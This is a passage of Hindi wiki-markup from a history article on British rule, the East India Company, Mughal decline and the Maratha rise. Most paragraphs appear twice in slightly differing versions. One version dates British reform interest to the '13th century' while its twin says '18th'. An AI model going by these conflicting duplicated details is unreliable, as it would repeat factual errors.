*'''डॉ. थ्योडोर''' के अनुसार - "प्रधानतः आर्थिक लाभ के लिए [[ईस्ट इण्डिया कम्पनी]] ने ब्रिटिश राज्य की स्थापना की और उसका विस्तार किया।"
 
*'''डॉ. थ्योडोर''' के अनुसार - "प्रधानतः आर्थिक लाभ के लिए [[ईस्ट इण्डिया कम्पनी]] ने ब्रिटिश राज्य की स्थापना की और उसका विस्तार किया।"
*'''ताराचन्द्र''' के अनुसार - "सत्रहवीं शताब्दी में भारत का गौरव अपनी पराकाष्ठा पर था और उसकी मध्युगीन संस्कृति अपनी चरम सीमा पर पहुँच गई थी। परन्तु जैसे-जैसे एक के बाद एक शताब्दियाँ बीतीं, वैसे-वैसे यूरोपीय सभ्यता का सूर्य तेज़ी से आकाश के मध्य की ओर बढ़ने लगा और भारतीय गगन में अन्धकार छाने लगा। फलतः जल्दी ही देश पर अन्धेरा छा गया और नैतिक पतन तथा राजनीतिक अराजकता की परछाइयाँ लम्बी होने लगीं।
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*'''ताराचन्द्र''' के अनुसार - "सत्रहवीं शताब्दी में भारत का गौरव अपनी पराकाष्ठा पर था, और उसकी मध्युगीन संस्कृति अपनी चरम सीमा पर पहुँच गई थी। परन्तु जैसे-जैसे एक के बाद एक शताब्दियाँ बीतीं, वैसे-वैसे यूरोपीय सभ्यता का [[सूर्य]] तेज़ी से आकाश के मध्य की ओर बढ़ने लगा और भारतीय गगन में अन्धकार छाने लगा। फलतः जल्दी ही देश पर अन्धेरा छा गया, और नैतिक पतन तथा राजनीतिक अराजकता की परछाइयाँ लम्बी होने लगीं।<ref name="mcc"/>
 
====भारतीयों का विरोध====
 
====भारतीयों का विरोध====
यह सही है कि, प्रशासन एवं यातायात  तथा शिक्षा के क्षेत्र में भारतवासियों ने इस विदेशी शासन से अनेक तत्त्व ग्रहण किये, किन्तु इस बात से इन्कार नहीं किया जा सकता कि, अंग्रेज़ों ने अधिकाधिक अर्थोपार्जन करने की नीति का ही अनुशीलन किया। यही कारण था कि, जहाँ भारतीयों ने [[मुसलमान|मुसलमानों]] के शासन को स्वीकार करके उसे भारतीय शासन के [[इतिहास]] में शामिल किया, वहीं उन्होंने अंग्रज़ों को अपना संप्रभु नहीं माना। हृदय की गहराइयों से उनके शासन को स्वीकार नहीं किया और प्रारम्भ से ही उनके प्रति अपना विरोध प्रकट किया। [[अंग्रेज़]] कभी भी भारतीय न बन सके, सदैव विदेशी बने रहे और समय आने पर सब के सब स्वदेश चले गये। यह विदेशी शासन भारतीयों को कतई स्वीकार नहीं था। [[बंगाल]] के सिराज के काल से लेकर [[दिल्ली]] के [[बहादुरशाह द्वितीय]] के काल तक भारतीय विरोध जारी रहा था।<ref name="mcc"/>
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यह सही है कि, प्रशासन एवं यातायात  तथा शिक्षा के क्षेत्र में भारतवासियों ने इस विदेशी शासन से अनेक तत्त्व ग्रहण किये, किन्तु इस बात से इन्कार नहीं किया जा सकता कि, अंग्रेज़ों ने अधिकाधिक अर्थोपार्जन करने की नीति का ही अनुशीलन किया। यही कारण था कि, जहाँ भारतीयों ने [[मुसलमान|मुसलमानों]] के शासन को स्वीकार करके उसे भारतीय शासन के [[इतिहास]] में शामिल किया, वहीं उन्होंने अंग्रज़ों को अपना संप्रभु नहीं माना। हृदय की गहराइयों से उनके शासन को स्वीकार नहीं किया और प्रारम्भ से ही उनके प्रति अपना विरोध प्रकट किया। [[अंग्रेज़]] कभी भी भारतीय न बन सके, सदैव विदेशी बने रहे और समय आने पर सब के सब स्वदेश चले गये। यह विदेशी शासन भारतीयों को क़तई स्वीकार नहीं था। [[बंगाल]] के 'सिराज' के काल से लेकर [[दिल्ली]] के [[बहादुरशाह द्वितीय]] के काल तक भारतीय विरोध जारी रहा था।
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====अंग्रेज़====
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{{main|अंग्रेज़}}
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भारत में व्यापारिक कोठियाँ खोलने के प्रयास के अन्तर्गत ही ब्रिटेन के सम्राट जेम्स प्रथम ने 1608 ई. में [[कैप्टन हॉकिन्स]] को अपने राजदूत के रूप में [[मुग़ल]] सम्राट [[जहाँगीर]] के दरबार में भेजा था। 1609 ई. में हॉकिन्स ने जहाँगीर से मिलकर [[सूरत]] में बसने की इजाजत माँगी, परन्तु [[पुर्तग़ाली|पुर्तग़ालियों]] तथा सूरत के सौदाग़रों के विद्रोह के कारण उसे स्वीकृति नहीं मिली। हॉकिन्स [[फ़ारसी भाषा]] का बहुत अच्छा जानकार था। कैप्टन हॉकिन्स तीन वर्षों तक [[आगरा]] में रहा। जहाँगीर ने उससे प्रसन्न होकर उसे 400 का मनसब तथा जागीर प्रदान की। 1616 ई. में सम्राट जेम्स प्रथम ने [[टॉमस रो|सर टॉमस रो]] को अपना राजदूत बनाकर जहाँगीर के पास भेजा। टॉमस रो का एकमात्र उदेश्य था - 'व्यापारिक संधि करना'। यद्यपि उसका जहाँगीर से व्यापारिक समझौता नहीं हो सका, फिर भी उसे [[गुजरात]] के तत्कालीन सूबेदार 'ख़ुर्रम' (बाद में [[शाहजहाँ]] के नाम से प्रसिद्ध) से व्यापारिक कोठियों को खोलने के लिए फ़रमान प्राप्त हो गया। इस प्रकार अंग्रेज़ों के पैर एक बार जो भारत में जमे, वह 1947 ई. में देश के आज़ाद होने तक के बाद ही उखड़ सके।[[चित्र:East-India-Company-Seal.jpg|180px|thumb|ईस्ट इण्डिया कम्पनी की मुहर]]
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====ईस्ट इण्डिया कम्पनी====
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{{main|ईस्ट इण्डिया कम्पनी}}
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ईस्ट इण्डिया कम्पनी एक निजी व्यापारिक कम्पनी थी, जिसने 1600 ई. में शाही अधिकार पत्र द्वारा व्यापार करने का अधिकार प्राप्त कर लिया था। इसकी स्थापना 1600 ई. के अन्तिम दिन [[महारानी एलिजाबेथ प्रथम]] के एक घोषणापत्र द्वारा हुई थी। यह [[लन्दन]] के व्यापारियों की कम्पनी थी, जिसे पूर्व में व्यापार करने का एकाधिकार प्रदान किया गया। कम्पनी का मुख्य उद्देश्य भारत में व्यापार करना और धन कमाना था। 1708 ई. में [[ईस्ट इण्डिया कम्पनी]] की प्रतिद्वन्दी कम्पनी 'न्यू कम्पनी' का 'ईस्ट इण्डिया कम्पनी' में विलय हो गया। परिणामस्वरूप 'द यूनाइटेड कम्पनी ऑफ़ मर्चेंट्स ऑफ़ इंग्लैण्ड ट्रेडिंग टू ईस्ट इंडीज' की स्थापना हुई। कम्पनी और उसके व्यापार की देख-रेख 'गर्वनर-इन-काउन्सिल' करती थी।
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{{seealso|गवर्नर-जनरल|रेग्युलेटिंग एक्ट|साइमन कमीशन|पिट एक्ट}}
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==अंग्रेज़ों की एकता एवं नीति==
 
==अंग्रेज़ों की एकता एवं नीति==
यह बात शुरू में ही साफ हो गई थी कि सफलता अंग्रेज़ों के हाथ लगेगी, और उसके कारण स्पष्ट थे। वे राष्ट्रवाद में विश्वास रखते थे, जबकि भारत में न यह भावना थी और न ही अनुशासन। युद्ध-कौशल तथा रणनीति में अंग्रेज़ भारतीयों की अपेक्षा कहीं आगे थे। भारतीय सैनिक निष्ठावान तो थे, पर इन्हें भी अपने राजा के प्रति पूर्ण ईमानदार और वफादार नहीं कहा जा सकता। भारतीय इतिहास में न जाने कितने ही सहायकों और विश्वासपात्रों ने अपने ही राजाओं को धोखा दिया और उनके साथ विश्वासघात करके उन्हें मौत के घाट उतार दिया। इन्हीं सब बातों से भारतीयों का अपनी भूमि पर ही पतन हुआ। उधर अंग्रेज़ों के सामने नैतिकता जैसी कोई चीज नहीं थी। [[बंगाल]], [[अवध]], [[मैसूर]], [[महाराष्ट्र]], [[पंजाब]] और [[सिंध]] इन सभी का विलय अंग्रेज़ी साम्राज्य में हो गया था। जो भी अंग्रेज़ शासक आये, चाहे वह [[वारेन हेस्टिंग्स]] हो या [[लॉर्ड कॉर्नवॉलिस]], [[लॉर्ड वेलेज़ली]] हो या [[लॉर्ड हेस्टिंग्स]], [[लॉर्ड विलियम बैंटिक]] हो या [[लॉर्ड डलहौज़ी]] इन सभी ने अपने शासकीय एवं सैनिक सुधारों पर अत्यधिक बल दिया। इन सभी का सिर्फ़ एक ही मकसद था, सम्पूर्ण भारत पर अधिकार और ब्रिटिश सत्ता में वृद्धि। अपने इस लक्ष्य को प्राप्त करने के लिए अंग्रेज़ों ने अपनी आपसी सूझबूझ बनाये रखी और हर सम्भव प्रयत्न किया।
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[[चित्र:William-Bentinck.jpg|thumb|150px|[[लॉर्ड विलियम बैंटिक]]]]
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यह बात शुरू में ही साफ़ हो गई थी कि, सफलता अंग्रेज़ों के हाथ लगेगी, और उसके कारण स्पष्ट थे। वे राष्ट्रवाद में विश्वास रखते थे, जबकि [[भारत]] में न यह भावना थी, और न ही अनुशासन। युद्ध-कौशल तथा रणनीति में [[अंग्रेज़]] भारतीयों की अपेक्षा कहीं आगे थे। भारतीय सैनिक निष्ठावान तो थे, पर इन्हें भी अपने राजा के प्रति पूर्ण ईमानदार और वफ़ादार नहीं कहा जा सकता। भारतीय इतिहास में न जाने कितने ही सहायकों और विश्वासपात्रों ने अपने ही राजाओं को धोखा दिया और उनके साथ विश्वासघात करके उन्हें मौत के घाट उतार दिया। इन्हीं सब बातों से भारतीयों का अपनी भूमि पर ही पतन हुआ। उधर अंग्रेज़ों के सामने नैतिकता जैसी कोई चीज़ नहीं थी। [[बंगाल]], [[अवध]], [[मैसूर]], [[महाराष्ट्र]], [[पंजाब]] और [[सिंध]] इन सभी का विलय अंग्रेज़ी साम्राज्य में हो गया था। जो भी अंग्रेज़ शासक आये, चाहे वह [[वारेन हेस्टिंग्स]] हो या [[लॉर्ड कॉर्नवॉलिस]], [[लॉर्ड वेलेज़ली]] हो या [[लॉर्ड हेस्टिंग्स]], [[लॉर्ड विलियम बैंटिक]] हो या [[लॉर्ड डलहौज़ी]], इन सभी ने अपने शासकीय एवं सैनिक सुधारों पर अत्यधिक बल दिया। इन सभी का सिर्फ़ एक ही मकसद था, सम्पूर्ण भारत पर अधिकार और ब्रिटिश सत्ता में वृद्धि। अपने इस लक्ष्य को प्राप्त करने के लिए अंग्रेज़ों ने अपनी आपसी सूझबूझ बनाये रखी और हर सम्भव प्रयत्न किया।
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{{seealso|अंग्रेज़|गवर्नर-जनरल|ईस्ट इण्डिया कम्पनी}}
 
====भारतीय समाज की कुरीतियाँ====
 
====भारतीय समाज की कुरीतियाँ====
भारतीय समाज अनेक कुरीतियों का शिकार था। जाति-प्रथा, शिशु-बली, बाल-विवाह, [[सती प्रथा]], विधवा विवाह-निषेध आदि के कारण भारतीय समाज खोखला हो रहा था। अपनी अंधविश्वासी परम्परा एवं रीति-रिवाजों के घेरे में पड़े भारतीय आधुनिकता से सर्वथा अपरिचित थे। [[ईस्ट इण्डिया कम्पनी]] ने शुरू में तो भारतीय समाज के मामले में तटस्थता की नीति अपनायी, परन्तु 13 वीं शताब्दी के अन्तिम चरण में [[अंग्रेज़]] भारतीय समाज में सुधार लाने की सोचने लगे। भारत के प्रति सुधारवादी दृष्टिकोण अपनाने के पीछे जो भी कारण रहे हों, परन्तु इससे [[भारत]] में पुनर्जागरण का मार्ग खुला। सामाजिक क़ानून बनाने का क्रम शुरू हुआ। शिशु-वध, विधवा विवाह-निषेध, नर बलि, सती प्रथा आदि ऐसी बातें थीं, जिनके निवारण में सरकार को [[राजा राममोहन राय]] तथा [[ईश्वरचन्द्र विद्यासागर]] जैसे भारतीय नेताओं का सहयोग भी मिला।
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भारतीय समाज अनेक कुरीतियों का शिकार था। जाति-प्रथा, शिशु-बली, बाल-विवाह, [[सती प्रथा]], विधवा विवाह-निषेध आदि के कारण भारतीय समाज खोखला हो रहा था। अपनी अंधविश्वासी परम्परा एवं रीति-रिवाजों के घेरे में पड़े भारतीय आधुनिकता से सर्वथा अपरिचित थे। [[ईस्ट इण्डिया कम्पनी]] ने शुरू में तो भारतीय समाज के मामले में तटस्थता की नीति अपनायी, परन्तु 18 वीं शताब्दी के अन्तिम चरण में [[अंग्रेज़]] भारतीय समाज में सुधार लाने की सोचने लगे। भारत के प्रति सुधारवादी दृष्टिकोण अपनाने के पीछे जो भी कारण रहे हों, परन्तु इससे भारत में पुनर्जागरण का मार्ग खुला। सामाजिक क़ानून बनाने का क्रम शुरू हुआ। शिशु-वध, विधवा विवाह-निषेध, नर बलि, सती प्रथा आदि ऐसी बातें थीं, जिनके निवारण में सरकार को [[राजा राममोहन राय]] तथा [[ईश्वरचन्द्र विद्यासागर]] जैसे भारतीय नेताओं का सहयोग भी मिला।<ref name="mcc"/>
 
====भारत का आर्थिक शोषण====
 
====भारत का आर्थिक शोषण====
ईस्ट इण्डिया कम्पनी के काल में आर्थिक परिवर्तन हुए। अंग्रेज़ों के आने से पहले भारतीय ग्राम आत्मनिर्भर थे। भारतीय कारीगरी की ख्याति दूर-दूर तक थी। भारत के सामान से देशी और विदेशी मण्डियाँ भरी रहती थीं। 18 वीं शताब्दी के आरम्भ तक भारत से उत्कृष्ट सूती और रेशमी वस्त्र, मसाले, नील, चीनी, दवाएँ और जवाहरात आदि बड़ी मात्रा में विदेश भेजे जाते थे, और बदले में [[सोना]] और [[चाँदी]] हिन्दुस्तान में आता था। शुरू में ईस्ट इण्डिया कम्पनी ने भी भारतीय चीजों का खूब निर्यात किया, परन्तु कालान्तर में भारतीय व्यापार और कला-कौशल का गला घोंटने की नीति अपनायी गयी। [[कृषि]]-भूमि पर भू-राजस्व लगाया गया, जिसकी कठोरता के कारण कृषि की प्रगति समाप्त हो गई। इस प्रकार कम्पनी के शासन काल में कृषि, व्यापार व उद्योग तीनों का पतन हुआ। 19 वीं शताब्दी के पूर्व भारत में पूँजी लगाकर अंग्रेज़ों ने यहाँ की अर्थव्यस्था पर अपनी पकड़ कर ली। दूसरी ओर वह भारत का धन [[इंग्लैण्ड]] ले गये। इन दोनों बातों से ही भारत का आर्थिक शोषण हुआ। धन के इस निर्गमन ने जहाँ भारत को दरिद्र बनाया, वहाँ इंग्लैण्ड के औद्योगिक विकास ने गति पकड़ी।<ref name="mcc"/>
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ईस्ट इण्डिया कम्पनी के काल में आर्थिक परिवर्तन हुए। अंग्रेज़ों के आने से पहले भारतीय ग्राम आत्मनिर्भर थे। भारतीय कारीगरी की ख्याति दूर-दूर तक थी। भारत के सामान से देशी और विदेशी मण्डियाँ भरी रहती थीं। 18 वीं शताब्दी के आरम्भ तक भारत से उत्कृष्ट सूती और रेशमी वस्त्र, मसाले, नील, चीनी, दवाएँ और जवाहरात आदि बड़ी मात्रा में विदेश भेजे जाते थे, और बदले में [[सोना]] और [[चाँदी]] हिन्दुस्तान में आता था। शुरू में ईस्ट इण्डिया कम्पनी ने भी भारतीय चीजों का खूब निर्यात किया, परन्तु कालान्तर में भारतीय व्यापार और कला-कौशल का गला घोंटने की नीति अपनायी गयी। [[कृषि]]-भूमि पर भू-राजस्व लगाया गया, जिसकी कठोरता के कारण कृषि की प्रगति समाप्त हो गई। इस प्रकार कम्पनी के शासन काल में कृषि, व्यापार व उद्योग तीनों का पतन हुआ। 19 वीं शताब्दी के पूर्व भारत में पूँजी लगाकर अंग्रेज़ों ने यहाँ की अर्थव्यस्था पर अपनी पकड़ कर ली। दूसरी ओर वह भारत का धन [[इंग्लैण्ड]] ले गये। इन दोनों बातों से ही भारत का आर्थिक शोषण हुआ। धन के इस निर्गमन ने जहाँ भारत को दरिद्र बनाया, वहीं इंग्लैण्ड के औद्योगिक विकास ने गति पकड़ ली।
 
==भारत की तत्कालीन राजनीतिक स्थिति==
 
==भारत की तत्कालीन राजनीतिक स्थिति==
भारत में विदेशियों के आगमन के समय राजनीति में दो प्रमुख शक्ति थीं : [[मुग़ल]] और [[मराठा]]। मुग़ल पतनोन्मुख हो चले थे, और मराठा विकासोन्मुख थे। वास्तविकता यह थी कि, [[औरंगज़ेब]] की मृत्यु  (1707 ई.) के उपरान्त भारत में केन्द्रीय सत्ता नहीं रही और सारा देश छोटे-छोटे राज्यों में विभक्त हो गया। अठारहवीं शताब्दी के प्रारम्भ में ही चरमराते हुए मुग़ल साम्राज्य को पतन की ओर अग्रसर होना ही था। साम्राज्य के विभिन्न राज्यों में संघर्ष चलने लगे और वे एक दूसरे को हड़पने के लिए निरन्तर षड्यन्त्र की रचना करने लगे। औरंगज़ेब की मृत्यु के पहले से ही [[यूरोप]] की विभिन्न जातियों का आगमन भारतवर्ष में होने लगा था। ये जातियाँ देश की लड़खड़ाती राजनीति और व्याप्त अराजकता को देख रही थीं।
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भारत में विदेशियों के आगमन के समय राजनीति में दो प्रमुख शक्तियाँ थीं : [[मुग़ल]] और [[मराठा]]। मुग़ल पतनोन्मुख हो चले थे, और मराठा विकासोन्मुख थे। वास्तविकता यह थी कि, [[औरंगज़ेब]] की मृत्यु  (1707 ई.) के उपरान्त भारत में केन्द्रीय सत्ता नहीं रही और सारा देश छोटे-छोटे राज्यों में विभक्त हो गया। अठारहवीं शताब्दी के प्रारम्भ में ही चरमराते हुए [[मुग़ल साम्राज्य]] को पतन की ओर अग्रसर होना ही था। साम्राज्य के विभिन्न राज्यों में संघर्ष चलने लगे और वे एक दूसरे को हड़पने के लिए निरन्तर षड्यन्त्र की रचना करने लगे। औरंगज़ेब की मृत्यु के पहले से ही [[यूरोप]] की विभिन्न जातियों का आगमन भारतवर्ष में होने लगा था। ये जातियाँ देश की लड़खड़ाती राजनीति और व्याप्त अराजकता को देख रही थीं।
====मुग़ल साम्राज्य की पतनोन्मुख स्थिति====
 
[[शाहजहाँ]] के मरणोपरान्त लगभग पचास वर्ष तक [[मुग़ल साम्राज्य]] की बागडोर औरंगज़ेब के हाथों में रही थी, जो आकार, जनसंख्या और वैभव की दृष्टि से समकालीन विश्व के राज्यों में अतुलनीय था। औरंगज़ेब अत्यन्त ही कठोर एवं कर्तव्यनिष्ठ प्रशासक था। अपने विशाल प्रशासन के एक-एक विषय की वह देखभाल करता था और हर सैनिक अभियान का स्वयं निर्देशन करता था। उसमें अक्षय स्फूर्ति और प्रबल इच्छा-शक्ति थी। फिर भी इतनी मेहनत, सतर्क देखभाल, निष्ठायुक्त पवित्र जीवन, अच्छा प्रशासक, कूटनीतिज्ञ और सेनापति के रूप में उसकी असंदिग्ध योग्यता के बावजूद उसका शासन असफल रहा। वह स्वयं भी इस बात को जानता था। अपने द्वितीय पुत्र 'आजम' को लिखे अपने पत्र में उसने स्वीकार किया था, "मैं सल्तनत की सच्ची हुकूमत और किसानों की भलाई एकदम नहीं कर सका हूँ। इतनी बेशक़ीमती जिन्दगी बेकार ही चली गई"। औरंगज़ेब के काल तक शासन बहुत सीमा तक सम्भला रहा, किन्तु उसके मरते ही राजनीति में उलट-फेर होने लगी। 1712 ई. में [[बंगाल]], [[बिहार]] और [[उड़ीसा]] का नाममात्र का शासक [[अजीमुश्शान]] भी चल बसा।
 
 
====अयोग्य मुग़ल उत्तराधिकारी====
 
====अयोग्य मुग़ल उत्तराधिकारी====
औरंगज़ेब की मृत्यु काल से लेकर [[प्लासी का युद्ध|प्लासी की लड़ाई]] के पूर्व काल तक [[बंगाल]], [[बिहार]] और [[उड़ीसा]] की राजनीति मुग़ल प्रशासन से अप्रभावित रहने लगी। 'सुकुमार भट्टाचार्य' ने लिखा है, "यह सत्य है कि औरंगज़ेब की मृत्यु से पूर्व ही षड्यन्त्रकारी शाक्तियों ने सिर उठाना प्रारम्भ कर दिया था। यहाँ तक कि जिस राज्य की जड़े इतनी शक्तिशाली थीं, उन्हें धूल-धूसरित कर दिया गया और अब औरंगज़ेब के वंश में कोई ऐसा नहीं रहा, जो इन षड्यन्त्रों को कुचल सकता। इसका कारण यह था कि, मुग़लों का विशाल साम्राज्य कई प्रान्तों में विभाजित था, जो सूबेदारों के संरक्षण में थे। प्रत्यक्ष है कि, ऐसा शासन प्रबन्ध शक्तिशाली केन्द्रीय सरकार की उपस्थिति में ही चल सकता था। लेकिन मुग़लों का केन्द्रीय शासन-प्रबन्ध औरंगज़ेब की अनुपस्थिति में नितान्त शक्तिहीन और अदृढ़ हो गया था। उसके सारे के सारे उत्तराधिकारी [[जहाँदारशाह]], [[फ़र्रुख़सियर]], [[मुहम्मदशाह रौशन अख़्तर|मुहम्मदशाह]] आदि अयोग्य थे, जो गिरते साम्राज्य को संभाल नहीं सकते थे। ऐसी स्थिति में मुग़ल सूबेदार अपने प्रान्तों के स्वामी बन बैठे। इस कारण साम्राज्य में चारों तरफ़ अशान्ति, उपद्रव षड्यन्त्र आदि के बाज़ार गर्म हो गये। दक्षिण भारत के राज्य भी अशान्त हो उठे। दक्षिण में निज़ामुलमुल्क, आसिफ़जान और [[अवध]] में सआदत अली ख़ाँ ने स्वतन्त्र राजसत्ता का प्रयोग किया। इसी मार्ग का अनुशीलन [[रूहेलखण्ड]] के [[अफ़ग़ान]] [[पठान|पठानों]] ने भी किया। मराठों ने भी [[महाराष्ट्र]], मध्यभारत, [[मालवा]] और [[गुजरात]] पर अधिकार करके [[पूना]] को अपनी राजनीतिक कार्य-कलापों का केन्द्र बना लिया। अगर 1761 में [[अहमदशाह अब्दाली]] के हाथों [[पानीपत]] के मैदान में [[मराठा|मराठों]] को पराजय न मिली होती तो, आज [[भारत का इतिहास|भारतीय इतिहास]] की एक नई रूपरेखा होती। भारत में काम करने वाली यूरोपीय कम्पनियाँ क्या इस आन्तरिक फूट से लाभ उठाने के लोभ का संवरण कर सकती थीं?<ref name="mcc"/>
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औरंगज़ेब की मृत्यु काल से लेकर [[प्लासी का युद्ध|प्लासी की लड़ाई]] के पूर्व काल तक [[बंगाल]], [[बिहार]] और [[उड़ीसा]] की राजनीति मुग़ल प्रशासन से अप्रभावित रहने लगी। 'सुकुमार भट्टाचार्य' ने लिखा है, "यह सत्य है कि औरंगज़ेब की मृत्यु से पूर्व ही षड्यन्त्रकारी शाक्तियों ने सिर उठाना प्रारम्भ कर दिया था। यहाँ तक कि जिस राज्य की जड़े इतनी शक्तिशाली थीं, उन्हें धूल-धूसरित कर दिया गया और अब औरंगज़ेब के वंश में कोई ऐसा नहीं रहा, जो इन षड्यन्त्रों को कुचल सकता। इसका कारण यह था कि, मुग़लों का विशाल साम्राज्य कई प्रान्तों में विभाजित था, जो सूबेदारों के संरक्षण में थे। प्रत्यक्ष है कि, ऐसा शासन प्रबन्ध शक्तिशाली केन्द्रीय सरकार की उपस्थिति में ही चल सकता था। लेकिन मुग़लों का केन्द्रीय शासन-प्रबन्ध औरंगज़ेब की अनुपस्थिति में नितान्त शक्तिहीन और अदृढ़ हो गया था। उसके सारे के सारे उत्तराधिकारी [[जहाँदारशाह]], [[फ़र्रुख़सियर]], [[मुहम्मदशाह रौशन अख़्तर|मुहम्मदशाह]] आदि अयोग्य थे, जो गिरते साम्राज्य को संभाल नहीं सकते थे। ऐसी स्थिति में मुग़ल सूबेदार अपने प्रान्तों के स्वामी बन बैठे। इस कारण साम्राज्य में चारों तरफ़ अशान्ति, उपद्रव षड्यन्त्र आदि के बाज़ार गर्म हो गये। दक्षिण भारत के राज्य भी अशान्त हो उठे। दक्षिण में निज़ामुलमुल्क, आसिफ़जान और [[अवध]] में सआदत अली ख़ाँ ने स्वतन्त्र राजसत्ता का प्रयोग किया। इसी मार्ग का अनुशीलन [[रूहेलखण्ड]] के [[अफ़ग़ान]] [[पठान|पठानों]] ने भी किया। मराठों ने भी [[महाराष्ट्र]], [[मध्य प्रदेश]], [[मालवा]] और [[गुजरात]] पर अधिकार करके [[पूना]] को अपनी राजनीतिक कार्य-कलापों का केन्द्र बना लिया। अगर 1761 ई. में [[अहमदशाह अब्दाली]] के हाथों [[पानीपत]] के मैदान में [[मराठा|मराठों]] को पराजय न मिली होती तो, आज [[भारत का इतिहास|भारतीय इतिहास]] की एक नई रूपरेखा होती। भारत में काम करने वाली यूरोपीय कम्पनियाँ क्या इस आन्तरिक फूट से लाभ उठाने के लोभ का संवरण कर सकती थीं?<ref name="mcc"/>
 
{{seealso|मुग़ल वंश|मुग़ल काल|मुग़लकालीन स्थापत्य एवं वास्तुकला|मुग़लकालीन राजस्व प्रणाली}}
 
{{seealso|मुग़ल वंश|मुग़ल काल|मुग़लकालीन स्थापत्य एवं वास्तुकला|मुग़लकालीन राजस्व प्रणाली}}
 
[[चित्र:Chatrapati-Shivaji.jpg|180px|thumb|[[शिवाजी]]]]
 
[[चित्र:Chatrapati-Shivaji.jpg|180px|thumb|[[शिवाजी]]]]
====मराठों का उत्कर्ष====
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==मराठों का उत्कर्ष==
 
{{main|मराठा|मराठा साम्राज्य|शिवाजी}}
 
{{main|मराठा|मराठा साम्राज्य|शिवाजी}}
मुग़ल शासन की शक्तिहीनता के कारण भारत में आने वाली विदेशी जातियों और उनकी कम्पनियों को प्रभाव जमाने का मौका तो मिला ही, [[भारत]] की एक अन्य शक्ति [[मराठा]] भी अपना विकास करती गई और मुग़ल प्रशासन की संप्रभुता को चुनौती देकर अपनी प्रधानता कायम कर ली। उन्नीसवीं शताब्दी का एक [[अंग्रेज़]] इतिहासकार लिखता है कि, "[[औरंगज़ेब]] की मृत्यु के साथ ही [[मुग़ल साम्राज्य]] का पतन आरम्भ हो गया। जहाँदारशाह लापरवाह, लम्पट और पागलपन की हद तक नशेबाज़ था। उसने दुराचारपूर्ण और स्त्रैण दरबारी जीवन का एक दुष्ट नमूना सामने रखा और शासक वर्ग की नैतिकता को कलंकित किया। इस कठपुतली बादशाह के काल में सारी सत्ता वज़ीर तथा अन्य दरबारियों के हाथों में चली गई। उत्तरदायित्व बँट जाने से प्रशासन में लापरवाही आयी और अराजकता फैल गई। अपने ग्यारह महीने के प्रशासन काल में जहाँदारशाह ने अपने पूर्वजों द्वारा संचित ख़ज़ाने को अधिकांशत: लूटा दिया। [[सोना]], [[चाँदी]] और [[बाबर]] के समय से इकट्ठी की गई अन्य मूल्यवान चीजें उड़ा दी गईं। युवक [[मुहम्मदशाह रौशन अख़्तर|मुहम्मदशाह]] को प्रशासन में कोई रुचि नहीं थी। वह निम्न कोटि के लोगों से घिरा रहता था और तुच्छ कामों में अपना समय बिताता था। इसी के शासन काल में [[दिल्ली]] पर [[नादिरशाह]] का आक्रमण हुआ था। इस समय भारत की शक्ति अधिकांशत: मराठों के हाथों में आ चुकी थी, और वही नादिरशाह के आक्रमण का मुकाबला भी कर सकते थे।
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मुग़ल शासन की शक्तिहीनता के कारण भारत में आने वाली विदेशी जातियों और उनकी कम्पनियों को प्रभाव जमाने का मौक़ा तो मिला ही, [[भारत]] की एक अन्य शक्ति [[मराठा]] भी अपना विकास करती गई और मुग़ल प्रशासन की संप्रभुता को चुनौती देकर अपनी प्रधानता क़ायम कर ली। उन्नीसवीं शताब्दी का एक [[अंग्रेज़]] इतिहासकार लिखता है कि, "[[औरंगज़ेब]] की मृत्यु के साथ ही [[मुग़ल साम्राज्य]] का पतन आरम्भ हो गया। जहाँदारशाह लापरवाह, लम्पट और पागलपन की हद तक नशेबाज़ था। उसने दुराचारपूर्ण और स्त्रैण दरबारी जीवन का एक दुष्ट नमूना सामने रखा और शासक वर्ग की नैतिकता को कलंकित किया। इस कठपुतली बादशाह के काल में सारी सत्ता वज़ीर तथा अन्य दरबारियों के हाथों में चली गई। उत्तरदायित्व बँट जाने से प्रशासन में लापरवाही आयी और अराजकता फैल गई। अपने ग्यारह महीने के प्रशासन काल में जहाँदारशाह ने अपने पूर्वजों द्वारा संचित ख़ज़ाने को अधिकांशत: लूटा दिया। [[सोना]], [[चाँदी]] और [[बाबर]] के समय से इकट्ठी की गई अन्य मूल्यवान चीज़ें उड़ा दी गईं। युवक [[मुहम्मदशाह रौशन अख़्तर|मुहम्मदशाह]] को प्रशासन में कोई रुचि नहीं थी। वह निम्न कोटि के लोगों से घिरा रहता था और तुच्छ कामों में अपना समय बिताता था। इसी के शासन काल में [[दिल्ली]] पर [[नादिरशाह]] का आक्रमण हुआ था। इस समय भारत की शक्ति अधिकांशत: मराठों के हाथों में आ चुकी थी, और वही नादिरशाह के आक्रमण का मुकाबला भी कर सकते थे।
 
{{seealso|शाहजी भोंसले|जीजाबाई|शम्भुजी|शाहू|ताराबाई|छत्रपति राजाराम}}
 
{{seealso|शाहजी भोंसले|जीजाबाई|शम्भुजी|शाहू|ताराबाई|छत्रपति राजाराम}}
 
====शिवाजी के उत्तराधिकारी====
 
====शिवाजी के उत्तराधिकारी====
प्राचीन राज्य सब छिन्न-भिन्न हो चुके थे और मुग़लों का सामना मराठों से था, जो प्रतिदिन शक्तिशाली होते जा रहे थे, और अन्त में मराठे मुग़लों पर पूरी तरह से छा गये। मराठों में राजनीतिक जागरण एवं संगठन की पृष्ठभूमि का निर्माण छत्रपति [[शिवाजी]] ने किया था। औरंगज़ेब के शासन-काल में ही उन्होंने तोरण, रामगढ़, चाकन, कल्याणी आदि को जीतकर अपनी शक्ति बढ़ा ली थी, तथा [[बीजापुर]] के सुल्तान, यहाँ तक की औरंगज़ेब से भी संघर्ष करके अपनी अजेय शक्ति का परिचय दिया। उन्होंने स्वतन्त्र [[मराठा]] राज्य की स्थापना कर ली, जिसे विवश होकर मुग़ल सम्राट को भी मान्यता देनी पडी। शिवाजी के नेतृत्व में निर्मित मराठा प्रशासन मुग़ल साम्राज्य की कमज़ोरी का परिचायक है। शिवाजी के उत्तराधिकारियों-[[शम्भाजी]], [[छत्रपति राजाराम|राजाराम]], शिवाजी द्वितीय और [[शाहू]] ने मराठा राज्य का संचालन किया। उनके बाद [[पेशवा|पेशवाओं]] की प्रधानता मराठा राज्य में कायम हो गई। [[बालाजी विश्वनाथ]], [[बाजीराव प्रथम]] और [[बालाजी बाजीराव]] नामक पेशवाओं ने मराठा शक्ति को अपने संरक्षण में कायम रखा। यद्यपि एक दिन मराठे [[अहमदशाह अब्दाली]] के हाथों पराजित हुए, तथापि उन्होंने [[भारत]] की एक महान शक्ति के रूप में अपना अस्तित्व बनाये रखा। [[प्लासी का 